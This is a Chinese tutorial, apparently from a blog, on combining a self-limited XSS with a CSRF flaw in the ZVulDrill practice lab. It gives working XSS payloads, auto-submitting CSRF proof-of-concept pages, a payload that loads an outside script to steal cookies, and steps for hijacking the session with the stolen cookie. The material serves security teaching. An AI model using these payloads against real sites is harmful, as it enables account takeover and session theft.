***场景篇--当XSS赶上CSRF

    你是否有过这样的经历,你发现了一个xss,可是貌似只能叉本身,输出点只有本身能够看见。这个时候,你会以为这个xss很鸡肋,当你就此忽略这个漏洞的时候,你可能丢掉一个发出组合技能的机会。
    今天咱们来介绍一个场景,当xss赶上csrf的时候,是否能打出一套漂亮的组合技能。

实验环境:
     ZvulDirll[请用下面我简单修改过的版本]
     下载地址:在文章最后面

1、安装:
0x00:解压ZVulDrill压缩包,将其放在www目录下,也就是你的网站根目录。
0x0一、编辑ZVulDrill\sys\config.php中的数据库帐号和密码
0x0二、打开mysql终端,建立zvuldrill数据,使用下面的sql语句。
create database zvuldrill;
javascript

wKiom1bmgpqjjfLkAAAM-yu2Fr8180.png


0x0三、而后开始导入sql语句进zvuldrill数据库。
use zvuldrill;
source F:/wamp/www/ZVulDrill/sys/zvuldrill.sql;
wKioL1bmgySSg7pCAAAn_GKVOpo046.png
0x0四、打开浏览器,访问
http://localhost/ZVulDrill/

2、寻找Xss漏洞
0x00、搜索框的xss
一开始打开这个web应用,咱们能够大概看到的功能点,好比搜索留言、用户登陆和注册、留言。而通常俩说搜索框容易出现xss或者sql注入的问题。
(1)咱们先输入一些内容进行搜索,好比2333333。以下图
wKiom1bmgpui-iWEAABaqTfOqrc032.png
能够看到,咱们搜索的内容显示在页面上。咱们右键查看一下元素,观察2333333在什么标签之间。以下图,2333333并无被什么标签包裹住。
php

wKiom1bmgtrg6XaQAABgFXX-vOI848.png

咱们将搜索的内容变成<h1>test</h1>,点击回车。能够看到页面上多了一个以h1标签显示的test字符串,也就是这里存在xss漏洞。网站后台并无净化咱们的特殊字符,使得咱们输入的数据被当作成是标签来解析。效果以下图。
wKiom1bmgpuBq_mcAACfCOyj9uI209.pnghtml

这里是一个存在XSS漏洞的点。


0x0一、
注册一个帐号后,登陆以后进行测试。
wKioL1bmg2Px6hYLAAAwSV050Go830.png1)像这种留言板,通常在留言处比较容易出现xss漏洞。咱们先试试在留言处输入一堆异常字符看看是否会被转义。以下图,咱们输入2333'"\&#;<>,点击留言便可。
wKioL1bmg2Oh05oQAAA0H5vJi2s741.png而后咱们右键查看网页源代码,搜索"2333",咱们看一下咱们异常字符被怎样处理。
wKiom1bmgtnR2iWqAAAVd-P_zoc953.pngjava

能够看到这里2333是被td标签包裹住,要是咱们想插入咱们的javascript代码,那咱们须要先闭合<td>,但是咱们的<>都被转义了。这里行不通。


2)咱们继续看一看这里有的功能,有个编辑功能。点击进去看看。以下图,这里咱们能够修改咱们的用户名,而用户名的输出点,当前页面有一个,注意右上角的小框,那里是显示用户的用户名。
wKioL1bmg2TwKlvzAABQyAwOalU758.png咱们右键查看元素,查看一下右上角小框是被什么标签所包裹住。以下图,
mysql

wKiom1bmg4-SO6HTAABpIr3sunc989.png

这里的用户名是被a标签包裹住的,咱们尝试一下闭合a标签而后插入一段javascript代码看看。
修改用户名为test</a><script>alert(1)</script><a>
咱们点击更新按钮,查看一下效果。
wKiom1bmg4-xOL5sAADfJPhoO44755.png
能够看到这里,执行了script标签内的alert函数。也就是这里存在一个注入点。咱们修改一下alert的内容,便可获取cookie值。
修改用户名为test</a><script>alert(document.cookie)</script><a>
wKiom1bmg4-hOV3DAAAxJGQ6qJ4682.png咱们正确的获取到了cookie值,可是这里的xss只能叉本身,咱们怎样才能让这里的xss发挥真实的做用,盗取他人的cookie信息,而不只是本身的呢?


3、CSRF漏洞
     正如CSRF漏洞是伪造别人发出某个请求,导致别人在不知情的状况下执行某个操做,如修改密码、留言、添加用户等等。

0x00、如何测试是否存在CSRF漏洞
1)这里须要用到Brupsuite来对网站后台的防护进行一些分析。第一个是观察发出的请求是否带有随机的Token值;第二个是分析网站后台是否对Referer进行校验。
咱们配置好浏览器的代理为Brupsuite监听的端口。点击更新用户名,Brupsuite抓取数据包。以下图
wKioL1bmhBrwWSxAAABeVbkUZSI746.png能够看到Post的数据包中并无出现token字眼,随机数token通常是网站用来防护CSRF的一个措施。除了Token,咱们还有两个要点要分析。第一个要点,网站是否校验了请求的Referer,这个Http header是用来表示请求的来源地址是什么。若是是CSRF的话,那么Referer的值将会为空。
2)咱们在数据包的空白处右键,send to repeater,发到repeater方便咱们修改数据以后重放请求。这里咱们将上面Post数据中的Referer那一行删除掉。
web

wKioL1bmhEaxvMPVAABuk5BEF7g342.png

删除后,点击Go按钮。返回内容以下图。
wKioL1bmhEfANMF9AABwpR6pi-E039.png返回的数据包将咱们重定向到edit.php,咱们继续点击follow redirection按钮,观察一下返回的页面内容。
wKioL1bmhEeyk6uLAADZlWwzF2s831.png
咱们再下面的搜索框那里输入demo11,能够发现有两处匹配到了。说明咱们这里修改为功,在Http header没有附带Referer的状况下。


3)接下来咱们要对最后一个要素进行验证,就是Post数据中的id参数。咱们要验证id参数的存在是否影响咱们修改用户名。咱们一样是在Repeater里面,把Post数据中的id参数删除掉,同时咱们把username也修改为demo22,用来与上一次的修改区分开。以下图。
wKiom1bmg76D3uv7AABVwQY-7D0426.png
修改完成以后,咱们点击Go按钮,让数据包发送。以下图,返回的响应仍是302,将咱们重定向edit.php,可是页面中还有Php的Notice信息,提醒咱们id变量不存在。
sql

wKiom1bmhCnAyb-wAAEQWvJhaeU780.png


咱们继续点击follow redirection。而后再右下角的搜索框那里搜索demo22。
wKioL1bmhLSgVphhAADoCmCqrdY354.png
能够看到在下图,demo22出现了两次,说明咱们修改为功。也就是说,这里的id参数并无影响咱们修改用户名。经过上面的两次分析。咱们能够肯定这里存在着CSRF漏洞。下面咱们写一个简单的页面去测试。


4)测试CSRF的Poc
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>测试CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
       <input type="hidden" name="username" value="hacker" class="form-control" id="inputEmail">
    <input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
    var formTag = document.getElementById("Poc");
    formTag.submit();
</script>
</body>
</html>
咱们复制上面的内容到文本编辑器,而后保存为poc.html。而后在登陆了Zvudrill以后,在同一浏览器打开poc.html。
下图是个人brupsuite抓取到poc发送到网站的请求,能够发现并无Referer值。
wKiom1bmhCuStjwhAAEe_75MZKI492.png咱们把brupsuite的代理功能关闭。而后查看一下Poc的效果。
wKioL1bmhLbhQHeSAADJx_igy9g257.png
能够看到下图中的用户名已经被修改为hacker。


4、综合利用
1)、通过上面的分析,咱们知道更新用户名这里的username并无过滤特殊字符能够形成xss,而后更新用户名发送的请求存在CSRF,能够在用户点击的时候,修改用户的用户名。于是咱们能够写出下面的Poc。
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>测试CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
       <input type="hidden" name="username" value="demo</a><script>alert(document.cookie)</script><a>" class="form-control" id="inputEmail">
    <input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
    var formTag = document.getElementById("Poc");
    formTag.submit();
</script>
</body>
</html>
咱们点击源代码为上述代码的html页面以后,将会出现这样的效果。
chrome

wKiom1bmhHSxbzTHAAEqdQOfMkk175.png


2)固然,咱们这里的value还能够是包含一段恶意的js代码,能够窃取当前用户的cookie到xss平台。以后即可以使用盗取的cookie全仿造用户的身份去作其余操做了。
下面我使用Xss平台的一个盗取cookie的连接,Xss平台的注册地址
Poc以下:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>测试CSRF漏洞Poc</title>
</head>
<body>
<form action="http://localhost/ZVulDrill/user/updateName.php" method="post" name="update_name" id="Poc">
       <input type="hidden" name="username" value="test</a><script src=http://t.cn/RG3kRlu></script><a>" class="form-control" id="inputEmail">
    <input type="hidden" name="update" class="btn btn-primary" value="更新"/>
</form>
<script type="text/javascript">
    var formTag = document.getElementById("Poc");
    formTag.submit();
</script>
</body>
</html>


[1]我在Firefox浏览器进行登陆,而后再Firefox浏览器打开poc.html。而后在chrome浏览器利用cookie进行登陆。
在登陆Firefox进行登陆,以下图
wKioL1bmhP_j0b8zAAB4Ojn7yE4197.png
咱们再Firefox中打开poc.html,以下图
wKiom1bmhHeTsA18AAE5bmjLYd0250.png
[2]咱们登陆xss平台,找到建立的项目。能够看到已经获取到了受害者的cookie。
wKioL1bmhQGze4JwAABgyhJ2YWE416.png
[3]利用盗取的cookie,在chrome浏览器直接仿造身份。
step1:访问Xss平台中获取的Referer的url数据库

wKioL1bmhTbDyV4NAABSr5J9wsQ397.png




step2:经过Chrome的EditThisCookie插件,重写咱们的cookie。
wKioL1bmhTbgAsWBAACqGGrGgks735.png
step3:再次访问Referer对应的url,观察效果。如图
wKioL1bmhTfC-DWPAADKIzpOr78988.png

5、写在最后
     写在最后,在***中重要的是人思考漏洞,对待漏洞的思路。在有想法的白帽子手中,不一样漏洞的组合会起到高危漏洞的效果。咱们不能期待每一次都遇到高危漏洞,咱们只能改变咱们对待漏洞的见解。
浏览器

     年后回来,搬家,新的工做内容,各类事情须要我去适应,也没有抽出时间来更新本身的博客和发表文章,可是想分享的心一直都在。

相关文章
相关标签/搜索